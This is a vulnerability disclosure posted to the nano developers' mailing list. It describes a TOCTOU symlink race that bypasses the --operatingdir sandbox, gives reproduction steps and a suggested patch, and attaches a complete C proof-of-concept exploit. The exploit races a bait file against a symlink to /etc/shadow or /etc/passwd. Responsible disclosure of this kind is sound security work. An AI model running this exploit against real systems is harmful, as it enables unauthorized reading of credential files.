TOCTOU symlink race bypasses --operatingdir confinement

zero_o <[email protected]> Tue, 28 Apr 2026 10:12:00 +0800 (CST)
Newsgroups gmane.editors.nano.devel
Message-ID <[email protected]>
 Hello nano maintainers,
  I discovered a TOCTOU symlink race in nano 9.0 that bypasses the
  --operatingdir sandbox, allowing arbitrary file reads and writes
  outside the confined directory. I'm attaching a detailed report
  and a proof-of-concept exploit.
  == The Bug ==
  In open_buffer() (files.c), outside_of_confinement() at line 403
  calls get_full_path() -> realpath(), which resolves all symlinks
  and verifies the canonical path is within operating_dir. The
  canonical path is then discarded.
  Later, open_file() at line 462 opens the tilde-expanded but
  non-canonicalized path. Between these two points -- spanning
  stat(), buffer creation, and the lockfile interaction prompt at
  do_lockfile() -- a symlink swap redirects the open outside the
  confinement.
  The write path (write_file, lines 1790->1871) has the same flaw.
  == Reproduction ==
  Two methods are described in the attached report; the reliable one
  uses lockfile mode:
      Terminal 1: ./poc /tmp/sandbox /etc/shadow
      Terminal 2: nano -l --operatingdir /tmp/sandbox \
                         /tmp/sandbox/innocent.txt
  The lockfile prompt pauses execution between the check and the open,
  creating an arbitrarily long race window -- just wait a moment
  before pressing 'Y'.
  Without -l, the race window is very narrow. The blind-race approach
  in the PoC may require several attempts before the timing aligns.
  == Fix ==
  The minimal fix: resolve the path once with realpath() and use the
  canonical result throughout, instead of discarding it after the
  confinement check.
  --- a/src/files.c
  +++ b/src/files.c
  @@ -400,8 +400,15 @@ bool open_buffer(const char *filename, ...)
   #ifdef ENABLE_OPERATINGDIR
  - if (outside_of_confinement(filename, FALSE)) {
  + char *canonical = realpath(filename, NULL);
  + if (!canonical || outside_of_confinement(canonical, FALSE)) {
  + free(canonical);
              statusline(ALERT, _("Can't read file from outside of %s"),
                         operating_dir);
              return FALSE;
          }
  + free(realname);
  + realname = canonical;
   #endif
  A more thorough fix would use openat() with O_NOFOLLOW on an
  operating-directory fd, so the kernel enforces the sandbox rather
  than userspace checks.
  == Attachments ==
  1. SUBMISSION-CONFINEMENT-BYPASS_EN.md — Full vulnerability report
  2. poc.c — PoC (compile: gcc -o poc poc.c -lpthread)
  Please let me know if you need any additional information.
  Thanks,
  zero_o
poc.c (text/x-c, 5.9 KB)
/**
 * NANO-Operating Directory Confinement Bypass — PoC (FIXED)
 *
 * Demonstrates TOCTOU symlink race bypassing nano's --operatingdir confinement.
 * The race continuously swaps a bait file between a regular file and a symlink,
 * exploiting the window between nano's realpath() check and its open() call.
 *
 * COMPILE:
 *   gcc -o poc poc.c -lpthread
 *
 * USAGE (3 terminals):
 *   Terminal 1 (attacker):  ./poc /tmp/sandbox /etc/shadow
 *   Terminal 2 (victim):    nano --operatingdir /tmp/sandbox /tmp/sandbox/innocent.txt
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/inotify.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <time.h>

static volatile int running = 1;
static volatile long race_iterations = 0;
static volatile long nano_opens_seen = 0;
static char bait_path[4096];
static char *target_file;
static int inotify_fd;

/* Read a small chunk of inotify events without blocking */
static void drain_inotify(void)
{
	char buf[4096] __attribute__((aligned(__alignof__(struct inotify_event))));
	while (1) {
		ssize_t len = read(inotify_fd, buf, sizeof(buf));
		if (len <= 0) break;
	}
}

void handle_signal(int sig)
{
	running = 0;
}

/*
 * Monitor thread: uses inotify to count how many times nano opens the bait file.
 * Only reacts to IN_OPEN — ignores self-inflicted CREATE/DELETE events.
 */
void *monitor_nano(void *arg)
{
	int wd = inotify_add_watch(inotify_fd, arg,
		IN_OPEN | IN_ACCESS | IN_CLOSE);

	if (wd < 0) {
		perror("inotify_add_watch");
		return NULL;
	}

	char buf[4096] __attribute__((aligned(__alignof__(struct inotify_event))));

	while (running) {
		/* Use non-blocking read with a short timeout to stay responsive */
		fd_set fds;
		struct timeval tv = {0, 50000}; /* 50ms */
		FD_ZERO(&fds);
		FD_SET(inotify_fd, &fds);

		if (select(inotify_fd + 1, &fds, NULL, NULL, &tv) <= 0)
			continue;

		ssize_t len = read(inotify_fd, buf, sizeof(buf));
		if (len < 0) {
			if (errno == EAGAIN) continue;
			break;
		}

		const struct inotify_event *event;
		for (char *ptr = buf; ptr < buf + len;
		     ptr += sizeof(struct inotify_event) + event->len) {
			event = (const struct inotify_event *)ptr;
			if (event->len == 0) continue;

			if (strcmp(event->name, "innocent.txt") == 0 &&
			    (event->mask & IN_OPEN)) {
				nano_opens_seen++;
				fprintf(stderr, "\r[!] nano OPEN detected (#%ld) at iteration %ld    \n",
				        nano_opens_seen, race_iterations);
			}
		}
	}

	inotify_rm_watch(inotify_fd, wd);
	return NULL;
}

int main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "Usage: %s <operating_directory> [target_file]\n", argv[0]);
		fprintf(stderr, "\n");
		fprintf(stderr, "  operating_directory  Path nano uses with --operatingdir\n");
		fprintf(stderr, "  target_file          File to read outside confinement (default: /etc/passwd)\n");
		fprintf(stderr, "\nEXAMPLE:\n");
		fprintf(stderr, "  Terminal 1: %s /tmp/sandbox /etc/shadow\n", argv[0]);
		fprintf(stderr, "  Terminal 2: nano --operatingdir /tmp/sandbox /tmp/sandbox/innocent.txt\n");
		return 1;
	}

	char *operating_dir = argv[1];
	target_file = (argc > 2) ? argv[2] : "/etc/passwd";

	mkdir(operating_dir, 0755);
	snprintf(bait_path, sizeof(bait_path), "%s/innocent.txt", operating_dir);

	/* Create initial bait file */
	FILE *f = fopen(bait_path, "w");
	if (!f) {
		perror("fopen bait");
		return 1;
	}
	fprintf(f, "This is innocent content that should appear safe.\n");
	fclose(f);

	/* Verify target file is readable */
	if (access(target_file, R_OK) != 0)
		fprintf(stderr, "[*] Warning: cannot read %s: %s\n", target_file, strerror(errno));

	/* Set up inotify */
	inotify_fd = inotify_init1(IN_NONBLOCK);
	if (inotify_fd < 0) {
		perror("inotify_init1");
		return 1;
	}

	signal(SIGINT, handle_signal);
	signal(SIGTERM, handle_signal);

	/* Start monitor thread */
	pthread_t monitor_thread;
	pthread_create(&monitor_thread, NULL, monitor_nano, operating_dir);

	printf("=== NANO: Operating Directory Confinement Bypass ===\n");
	printf("Sandbox:    %s\n", operating_dir);
	printf("Bait file:  %s\n", bait_path);
	printf("Target:     %s\n", target_file);
	printf("\n");
	printf("[*] NOW run nano in another terminal:\n");
	printf("    nano --operatingdir %s %s\n", operating_dir, bait_path);
	printf("[*] The race is running — it will keep going until you press Ctrl+C.\n");
	printf("[*] If successful, nano will display the target file content.\n");
	printf("[*] Press Ctrl+C to stop.\n\n");

	/*
	 * Main race loop: blind-race the bait file between regular and symlink.
	 * nano's realpath() happens during one of the "regular file" phases,
	 * and open() might catch a "symlink" phase → confinement bypass.
	 *
	 * We drain inotify periodically to prevent the buffer from filling up
	 * with our own CREATE/DELETE events.
	 */
	while (running) {
		/* Phase 1: make it a regular file (for nano's realpath check) */
		unlink(bait_path);
		FILE *rf = fopen(bait_path, "w");
		if (rf) {
			fprintf(rf, "Innocent content.\n");
			fclose(rf);
		}

		/* Phase 2: switch to symlink (for nano's open) */
		unlink(bait_path);
		symlink(target_file, bait_path);

		/* Phase 3: back to regular file */
		unlink(bait_path);
		rf = fopen(bait_path, "w");
		if (rf) {
			fprintf(rf, "Innocent content.\n");
			fclose(rf);
		}

		race_iterations += 3;

		/* Drain inotify every ~1000 cycles to prevent buffer overflow */
		if (race_iterations % 3000 == 0)
			drain_inotify();

		/* Status update every ~100k iterations */
		if (race_iterations % 100000 == 0)
			fprintf(stderr, "\r[*] Raced %ld times, nano opens seen: %ld",
			        race_iterations, nano_opens_seen);
	}

	fprintf(stderr, "\n\n[*] Stopped after %ld iterations, %ld nano opens detected.\n",
	        race_iterations, nano_opens_seen);

	pthread_join(monitor_thread, NULL);

	/* Cleanup */
	unlink(bait_path);
	rmdir(operating_dir);
	close(inotify_fd);

	printf("[*] Cleanup complete.\n");
	return 0;
}
SUBMISSION-CONFINEMENT-BYPASS_EN.md (application/octet-stream, 5.2 KB) - not displayed